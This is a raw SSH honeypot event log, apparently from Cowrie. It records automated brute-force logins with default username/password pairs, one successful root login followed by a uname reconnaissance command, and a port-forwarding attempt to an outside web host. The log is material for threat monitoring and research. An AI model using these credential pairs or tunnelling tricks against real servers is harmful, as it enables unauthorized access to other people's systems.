{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:16.520418Z","src_ip":"14.225.2.125","session":"60ca2f28cc75","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"QAZWSXEDC","message":"login attempt [root/QAZWSXEDC] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:17.329670Z","src_ip":"14.225.2.125","session":"60ca2f28cc75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:17.907930Z","src_ip":"14.225.2.125","session":"60ca2f28cc75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:17.911310Z","src_ip":"14.225.2.125","session":"60ca2f28cc75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:18.184901Z","src_ip":"14.225.2.125","session":"60ca2f28cc75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:18.189857Z","src_ip":"14.225.2.125","session":"60ca2f28cc75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":54204,"dst_ip":"10.17.0.5","dst_port":22,"session":"132b9a9d401d","protocol":"ssh","message":"New connection: 27.119.7.6:54204 (10.17.0.5:22) [session: 132b9a9d401d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:25.319492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:25.324387Z","src_ip":"27.119.7.6","session":"132b9a9d401d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:25.510068Z","src_ip":"27.119.7.6","session":"132b9a9d401d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tech","password":"password","message":"login attempt [tech/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:26.280962Z","src_ip":"27.119.7.6","session":"132b9a9d401d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:27.470200Z","src_ip":"27.119.7.6","session":"132b9a9d401d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"216.58.207.68","dst_port":443,"src_ip":"80.94.95.118","src_port":57840,"message":"direct-tcp connection request to 216.58.207.68:443 from 127.0.0.1:57840","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:28.608512Z","session":"9a8a2e4b857c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"216.58.207.68","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 216.58.207.68:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:32.314827Z","src_ip":"80.94.95.118","session":"9a8a2e4b857c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"216.58.207.68","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfcg\\xe0\\xb1p'\\x8cG'\\xf2\\xde\\x98\\xa4&ZAi\\x94lq\\x98\\xe6Jx2`\\x1c\\xf5\\xee\\xf7r\\x9c \\x98\\x02\\xaf\\x15u\\xac@\\x8ch\\x110S\\xed\\x8a0-J\\x91\\x12\\x14\\xe4\\xcb\\x1b\\xcb\\x14I\\xdf\\xb4[\\xb0U\\xa7\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x16\\xc4,\\xfc\\x9e\\x98j\\xe6\\xb2?Vs\\xbb6n_\\x85>\\xcb\\xf5S\\xaa&\\xd1\\x9dG\\xda\\x8b\\x17J-.\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 216.58.207.68:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfcg\\xe0\\xb1p'\\x8cG'\\xf2\\xde\\x98\\xa4&ZAi\\x94lq\\x98\\xe6Jx2`\\x1c\\xf5\\xee\\xf7r\\x9c \\x98\\x02\\xaf\\x15u\\xac@\\x8ch\\x110S\\xed\\x8a0-J\\x91\\x12\\x14\\xe4\\xcb\\x1b\\xcb\\x14I\\xdf\\xb4[\\xb0U\\xa7\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x16\\xc4,\\xfc\\x9e\\x98j\\xe6\\xb2?Vs\\xbb6n_\\x85>\\xcb\\xf5S\\xaa&\\xd1\\x9dG\\xda\\x8b\\x17J-.\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:32.318400Z","src_ip":"80.94.95.118","session":"9a8a2e4b857c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"38.1","message":"Connection lost after 38.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:34.834352Z","src_ip":"80.94.95.118","session":"9a8a2e4b857c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":33544,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddb7ad72e389","protocol":"ssh","message":"New connection: 159.223.94.92:33544 (159.203.135.109:22) [session: ddb7ad72e389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:15:21.721079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:15:21.726837Z","src_ip":"159.223.94.92","session":"ddb7ad72e389","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:15:21.972964Z","src_ip":"159.223.94.92","session":"ddb7ad72e389","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user03","password":"user03password","message":"login attempt [user03/user03password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:15:22.988737Z","src_ip":"159.223.94.92","session":"ddb7ad72e389","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:15:24.238856Z","src_ip":"159.223.94.92","session":"ddb7ad72e389","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43626,"dst_ip":"10.17.0.5","dst_port":22,"session":"5327746053a2","protocol":"ssh","message":"New connection: 2.57.122.208:43626 (10.17.0.5:22) [session: 5327746053a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:15:48.892656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:15:49.071025Z","src_ip":"2.57.122.208","session":"5327746053a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:15:49.074304Z","src_ip":"2.57.122.208","session":"5327746053a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:15:49.830794Z","src_ip":"2.57.122.208","session":"5327746053a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:15:50.931942Z","src_ip":"2.57.122.208","session":"5327746053a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":38464,"dst_ip":"10.17.0.5","dst_port":22,"session":"23ebd6072849","protocol":"ssh","message":"New connection: 27.119.7.6:38464 (10.17.0.5:22) [session: 23ebd6072849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:16:23.250511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:16:23.271239Z","src_ip":"27.119.7.6","session":"23ebd6072849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:16:23.452104Z","src_ip":"27.119.7.6","session":"23ebd6072849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webapp","password":"webapppass","message":"login attempt [webapp/webapppass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:16:24.209870Z","src_ip":"27.119.7.6","session":"23ebd6072849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:16:25.418773Z","src_ip":"27.119.7.6","session":"23ebd6072849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47762,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f52bdcc2efd","protocol":"ssh","message":"New connection: 195.178.110.218:47762 (159.203.135.109:22) [session: 0f52bdcc2efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:16:45.083635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:16:45.087814Z","src_ip":"195.178.110.218","session":"0f52bdcc2efd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:16:45.167565Z","src_ip":"195.178.110.218","session":"0f52bdcc2efd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:16:45.407397Z","src_ip":"195.178.110.218","session":"0f52bdcc2efd","protocol":"ssh"}
